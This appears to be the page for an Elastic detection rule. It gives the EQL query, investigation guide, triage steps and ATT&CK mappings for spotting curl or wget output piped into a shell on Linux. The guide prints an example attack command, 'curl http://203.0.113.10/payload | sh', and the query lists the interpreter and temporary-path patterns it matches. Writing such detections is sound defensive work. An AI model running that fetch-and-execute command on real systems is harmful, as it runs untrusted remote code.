File Downloaded by Curl/Wget and Piped to Interpreter
This rule detects when a file is downloaded by curl or wget, and piped to an interpreter. Attackers may use this technique to download and execute payloads for various malicious purposes, such as establishing persistence or exfiltrating data.
Elastic rule (View on GitHub)
1[metadata]
2creation_date = "2026/08/19"
3integration = ["endpoint"]
4maturity = "production"
5updated_date = "2026/08/31"
6
7[rule]
8author = ["Elastic"]
9description = """
10This rule detects when a file is downloaded by curl or wget, and piped to an interpreter. Attackers may use this
11technique to download and execute payloads for various malicious purposes, such as establishing persistence or
12exfiltrating data.
13"""
14from = "now-9m"
15index = ["logs-endpoint.events.process*"]
16language = "eql"
17license = "Elastic License v2"
18name = "File Downloaded by Curl/Wget and Piped to Interpreter"
19note = """ ## Triage and analysis
20
21> **Disclaimer**:
22> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
23
24### Investigating File Downloaded by Curl/Wget and Piped to Interpreter
25
26This rule identifies Linux activity where curl or wget retrieves content from a remote path and sends it directly to a shell or scripting interpreter, enabling code execution without first saving a conventional file. An attacker may run `curl http://203.0.113.10/payload | sh` to execute a staged payload and rapidly establish persistence or launch data theft.
27
28### Possible investigation steps
29
30- Reconstruct the complete process ancestry and descendants to identify the initiating user, access vector, executed commands, and any follow-on payloads.
31- Extract the remote URL, resolve redirects, assess domain and IP reputation, and safely retrieve the content for hashing, static analysis, and sandbox execution.
32- Correlate DNS, proxy, firewall, and endpoint network telemetry to confirm the connection, transferred bytes, related destinations, and other affected hosts.
33- Examine the host for persistence, dropped files, credential access, privilege escalation, account changes, or suspicious outbound connections occurring after the alert.
34- Confirm whether the activity was authorized by the user or system owner, and isolate the host, block indicators, and revoke exposed credentials if malicious intent is established.
35
36### False positive analysis
37
38- An administrator may use curl or wget to stream an approved installation or configuration script into a shell during deployment; verify the initiating account, change record, remote destination, and retrieved script contents.
39- An automated Linux provisioning or maintenance task may fetch and execute a trusted script through an interpreter; confirm the process ancestry, expected schedule, command line, destination ownership, and consistency across authorized hosts.
40
41### Response and remediation
42
43- Isolate the affected Linux host from the network while preserving volatile evidence, running processes, shell history, downloaded content, and relevant system logs.
44- Block the malicious URL, domain, IP address, and payload hashes across DNS, proxy, firewall, endpoint, and email controls, and identify other hosts that contacted the same infrastructure.
45- Terminate malicious processes and remove associated persistence from cron jobs, systemd units, shell profiles, startup scripts, SSH authorized keys, modified accounts, and files in locations such as `/tmp`, `/var/tmp`, and `/dev/shm`.
46- Escalate immediately to incident response if privileged execution, credential theft, lateral movement, data exfiltration, or the same indicators on multiple hosts are identified, and rotate affected passwords, keys, tokens, and secrets.
47- Reimage the system or restore it from a verified known-good image, validate package and configuration integrity, apply security updates, and monitor closely for renewed connections or execution.
48- Prevent recurrence by restricting outbound access, allowlisting approved download sources, limiting curl and wget use for service accounts, and alerting on streamed interpreter execution and executables launched from temporary or memory-backed paths.
49"""
50risk_score = 47
51rule_id = "3ebdc01e-7788-4845-8e7a-c8a671ad46ea"
52setup = """## Setup
53
54This rule requires data coming in from Elastic Defend.
55
56### Elastic Defend Integration Setup
57Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.
58
59#### Prerequisite Requirements:
60- Fleet is required for Elastic Defend.
61- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).
62
63#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:
64- Go to the Kibana home page and click "Add integrations".
65- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
66- Click "Add Elastic Defend".
67- Configure the integration name and optionally add a description.
68- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
69- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).
70- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
71- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
72For more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).
73- Click "Save and Continue".
74- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
75For more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).
76"""
77severity = "medium"
78tags = [
79 "Domain: Endpoint",
80 "OS: Linux",
81 "Use Case: Threat Detection",
82 "Tactic: Execution",
83 "Tactic: Command and Control",
84 "Tactic: Defense Evasion",
85 "Data Source: Elastic Defend",
86 "Resources: Investigation Guide",
87]
88type = "eql"
89query = '''
90sequence by host.id, process.parent.entity_id, process.working_directory with maxspan=1s
91 [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name in ("curl", "wget") and
92 (
93 /* IP address and path */
94 process.command_line regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}(:[0-9]{1,5})?\\/[^ ]+.*" or
95 /* URL and path */
96 process.command_line regex ".*[A-Za-z0-9][A-Za-z0-9\\-]*(\\.[A-Za-z0-9][A-Za-z0-9\\-]*)+(:[0-9]{1,5})?\\/[^ ]+.*"
97 ) and
98 process.args_count <= 3 and (
99 process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox", "node", "deno", "ash", "mksh", "pwsh") or
100 process.parent.name like (".*", "python*", "perl*", "ruby*", "lua*", "php*") or
101 process.parent.executable like (
102 "/tmp/*", "/var/tmp/*", "/dev/shm/*", "./*", "/run/*", "/var/run/*", "/boot/*", "/sys/*", "/lost+found/*",
103 "/proc/*", "/var/mail/*", "/var/www/*", "/dev/fd/*", "?memfd:*", "memfd:*"
104 )
105 ) and
106 not (
107 process.args in ("-h", "--help", "-V", "--version", "--output", "-O") or
108 process.args like ("--output*", "-o*", "--remote-name*") or
109 process.command_line like ("*127.0.0.1*", "*localhost*", "*artifacts.elastic.co*", "*ela.st*", "*elastic.co*")
110 )]
111 [process where host.os.type == "linux" and event.type == "end" and event.action == "end" and
112 process.name like (
113 "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish",
114 "python*", "perl*", "ruby*", "lua*", "php*", "node"
115 ) and process.args_count == 1 and
116 process.args like (
117 "-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish", "-ash", "-mksh", "-pwsh",
118 "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "ash", "mksh", "pwsh",
119 "/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh",
120 "/bin/zsh", "/bin/ksh", "/bin/fish",
121 "/bin/csh", "/bin/ash", "/bin/mksh", "/bin/pwsh",
122 "/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh",
123 "/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish",
124 "/usr/bin/ash", "/usr/bin/mksh", "/usr/bin/pwsh",
125 "/usr/local/bin/bash", "/usr/local/bin/dash", "/usr/local/bin/sh", "/usr/local/bin/tcsh",
126 "/usr/local/bin/csh", "/usr/local/bin/zsh", "/usr/local/bin/ksh", "/usr/local/bin/fish",
127 "/usr/local/bin/ash", "/usr/local/bin/mksh", "/usr/local/bin/pwsh",
128 "python*", "/bin/python*", "/usr/bin/python*", "/usr/local/bin/python*",
129 "perl*", "/bin/perl*", "/usr/bin/perl*", "/usr/local/bin/perl*",
130 "ruby*", "/bin/ruby*", "/usr/bin/ruby*", "/usr/local/bin/ruby*",
131 "lua*", "/bin/lua*", "/usr/bin/lua*", "/usr/local/bin/lua*",
132 "php*", "/bin/php*", "/usr/bin/php*", "/usr/local/bin/php*",
133 "node", "/bin/node", "/usr/bin/node", "/usr/local/bin/node",
134 "/dev/fd/*", "?memfd:*", "memfd:*"
135 )
136 ]
137'''
138
139[[rule.threat]]
140framework = "MITRE ATT&CK"
141
142[rule.threat.tactic]
143name = "Execution"
144id = "TA0002"
145reference = "https://attack.mitre.org/tactics/TA0002/"
146
147[[rule.threat.technique]]
148id = "T1059"
149name = "Command and Scripting Interpreter"
150reference = "https://attack.mitre.org/techniques/T1059/"
151
152[[rule.threat.technique.subtechnique]]
153id = "T1059.004"
154name = "Unix Shell"
155reference = "https://attack.mitre.org/techniques/T1059/004/"
156
157[[rule.threat]]
158framework = "MITRE ATT&CK"
159
160[rule.threat.tactic]
161name = "Command and Control"
162id = "TA0011"
163reference = "https://attack.mitre.org/tactics/TA0011/"
164
165[[rule.threat.technique]]
166name = "Application Layer Protocol"
167id = "T1071"
168reference = "https://attack.mitre.org/techniques/T1071/"
169
170[[rule.threat]]
171framework = "MITRE ATT&CK"
172
173[rule.threat.tactic]
174name = "Defense Evasion"
175id = "TA0005"
176reference = "https://attack.mitre.org/tactics/TA0005/"
Triage and analysis
Disclaimer: This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
Investigating File Downloaded by Curl/Wget and Piped to Interpreter
This rule identifies Linux activity where curl or wget retrieves content from a remote path and sends it directly to a shell or scripting interpreter, enabling code execution without first saving a conventional file. An attacker may run curl http://203.0.113.10/payload | sh to execute a staged payload and rapidly establish persistence or launch data theft.
Possible investigation steps
- Reconstruct the complete process ancestry and descendants to identify the initiating user, access vector, executed commands, and any follow-on payloads.
- Extract the remote URL, resolve redirects, assess domain and IP reputation, and safely retrieve the content for hashing, static analysis, and sandbox execution.
- Correlate DNS, proxy, firewall, and endpoint network telemetry to confirm the connection, transferred bytes, related destinations, and other affected hosts.
- Examine the host for persistence, dropped files, credential access, privilege escalation, account changes, or suspicious outbound connections occurring after the alert.
- Confirm whether the activity was authorized by the user or system owner, and isolate the host, block indicators, and revoke exposed credentials if malicious intent is established.
False positive analysis
- An administrator may use curl or wget to stream an approved installation or configuration script into a shell during deployment; verify the initiating account, change record, remote destination, and retrieved script contents.
- An automated Linux provisioning or maintenance task may fetch and execute a trusted script through an interpreter; confirm the process ancestry, expected schedule, command line, destination ownership, and consistency across authorized hosts.
Response and remediation
- Isolate the affected Linux host from the network while preserving volatile evidence, running processes, shell history, downloaded content, and relevant system logs.
- Block the malicious URL, domain, IP address, and payload hashes across DNS, proxy, firewall, endpoint, and email controls, and identify other hosts that contacted the same infrastructure.
- Terminate malicious processes and remove associated persistence from cron jobs, systemd units, shell profiles, startup scripts, SSH authorized keys, modified accounts, and files in locations such as
/tmp,/var/tmp, and/dev/shm. - Escalate immediately to incident response if privileged execution, credential theft, lateral movement, data exfiltration, or the same indicators on multiple hosts are identified, and rotate affected passwords, keys, tokens, and secrets.
- Reimage the system or restore it from a verified known-good image, validate package and configuration integrity, apply security updates, and monitor closely for renewed connections or execution.
- Prevent recurrence by restricting outbound access, allowlisting approved download sources, limiting curl and wget use for service accounts, and alerting on streamed interpreter execution and executables launched from temporary or memory-backed paths.
Related rules
- Payload Downloaded by Interpreter and Piped to Interpreter
- Shell Execution via Elastic Endpoint
- Suspicious Command Execution via Busybox Proxy
- Curl or Wget Egress Network Connection via LoLBin
- Suspicious Java Class File Created in PaperCut Server Library